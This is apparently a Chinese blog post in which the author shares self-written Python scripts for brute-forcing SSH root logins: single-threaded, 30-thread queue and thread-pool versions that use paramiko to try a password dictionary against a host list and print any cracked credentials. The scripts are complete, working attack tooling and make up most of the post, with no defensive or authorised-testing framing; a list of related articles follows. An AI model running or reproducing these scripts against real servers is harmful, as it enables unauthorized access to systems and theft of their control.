前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。

单线程:慢成狗-----

#coding:utf-8
#author:jwong

import threading
import os
import time
import paramiko
import sys
import Queue
import socket

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

def ssh_connect(host,pwd):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	try:

		ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
		ssh.close()
		print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)
	except paramiko.AuthenticationException,e:
		pass
	except socket.error,e:
		pass

# class ClassName(object):
# 	"""docstring for ClassName"""
# 	def __init__(self, arg):
# 		super(ClassName, self).__init__()
# 		self.arg = arg
#
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'

def open_file(path):
	host = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line.strip('\n') == '':
				continue
			host.append(line.strip('\n'))
		return host
hosts = open_file(host_file)
password = open_file(pass_file)
for host in hosts:
	for pass12 in password:
		print host
		ssh_connect(host,pass12)

运行会出现:No handlers could be found for logger "paramiko.transport" 错误  ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko

多线程版本:

#coding:utf-8
import threading
import Queue
import paramiko
import socket
import os

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
paramiko.util.log_to_file("filename.log")
queue = Queue.Queue()
lock = threading.Lock()
def read_host_file(path):
	hostlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			line = socket.gethostbyname(line.strip())
			hostlist.append(line)
		return hostlist
def read_pass_file(path):
	passlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			passlist.append(line.strip())
		return passlist
class SSH(threading.Thread):
	"""docstring for SSH"""
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			# if self.queue.empty():
			# 	break
			host,pwd = self.queue.get()
			try:
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

				ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
				ssh.close()
				print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)

			except paramiko.AuthenticationException,e:
				pass
			except socket.error,e:
				pass
			except:
				pass
			self.queue.task_done()

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for i in range(30):
		fuck_ssh = SSH(queue)
		fuck_ssh.setDaemon(True)
		fuck_ssh.start()
	for host in hosts:
		for pwd in passlist:
			queue.put((host,pwd))
	queue.join()

  另一个模块实现:

#coding:utf-8

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for host in hosts:
		partial_user = partial(ssh_connect,host)
		pool = ThreadPool(20)
		pool.map(partial_user,passlist)
		pool.close()
		pool.join()

  

  

参考文献:

http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/

http://www.waitalone.cn/python-mysql-mult.html

http://www.waitalone.cn/python-brute-all.html

http://www.waitalone.cn/python-thread-map.html

ssh爆破脚本的更多相关文章

  1. python多线程ssh爆破

    python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

  2. SSH爆破应急响应

    问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...

  3. 安装fail2ban,防止ssh爆破及cc攻击

    背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6  宝塔) y ...

  4. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  5. 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本

    20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...

  6. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

  7. CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击

    准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...

  8. CentOS7防止CC攻击防止SSH爆破采取的措施

    准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...

  9. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

随机推荐

  1. Coded UI Test对Webpage进行自动化测试

    如何使用Coded UI Test对Webpage进行自动化测试   在Visual Studio中,Coded UI Test已经不是什么新特性了,较早版本的Visual Studio中就已经有这个 ...

  2. NPOI 2.0 Excel读取显示

    NPOI 2.0 Excel读取显示   最近接到需求,需要把excel表格里的数据原样展示到web页面,主要是满足随意跨行跨列. 之前用过一点NPOI,不过接触的不太多,趁这次机会再熟悉一下.由于操 ...

  3. 关于Dictionary字典和List列表

    命名空间System.Collections.Generic中有两个非常重要,而且常用的泛型集合类,它们分别是Dictionary<TKey,TValue>字典和List<T> ...

  4. c# in deep 之Lambda表达式于LINQ表达式结合后令人惊叹的简洁(2)

    当Lambda表达式和LINQ一起使用时,我们会发现原本冗长的代码会变得如此简单.比如我们要打印0-10之间的奇数,让其从高到低排列并求其平方根,现在只用一行代码即可完成其集合的生成,直接上代码: v ...

  5. rabbitmq-message(C#)

    1.安装Erlang Windows Binary File 2.安装rabbitmq-server(windows)rabbitmq-server-3.5.4.exe 参考:http://www.r ...

  6. LinQ动态排序

    LinQ动态排序 首先修复程序中的一个BUG这个BUG在GridPager类中,把sord修改为sort这个名称填写错误,会导致后台一直无法获取datagrid的排序字段 本来是没有这一讲的,为了使2 ...

  7. knockoutJS 快速上手

    翻译:Knockout 快速上手 - 3: knockoutJS 快速上手 许多时候,学会一种技术的有效方式就是使用它解决实际中的问题.在这一节,我们将学习使用 Knockout 来创建一个常见的应用 ...

  8. generating permunation

    generating permunation——全排列(算法汇总) #include <iostream> #include <string> #include <vec ...

  9. 清除在Windows下访问共享文件夹时的登录信息

    清除在Windows下访问共享文件夹时的登录信息 在实际工作中,经常需要访问局域网内其他机子上的共享文件夹,例如\\192.168.1.100\d$ , 首次访问时,需要输入用户名和密码才可以进入,即 ...

  10. jQuery Easing 动画效果扩展

    jQuery API提供了简单的动画效果如淡入淡出以及自定义动画效果,而今天我给大家分享的是一款jQuery动画效果扩展增强插件jquery.easing.js,使用该插件可以实现直线匀速运功.变加速 ...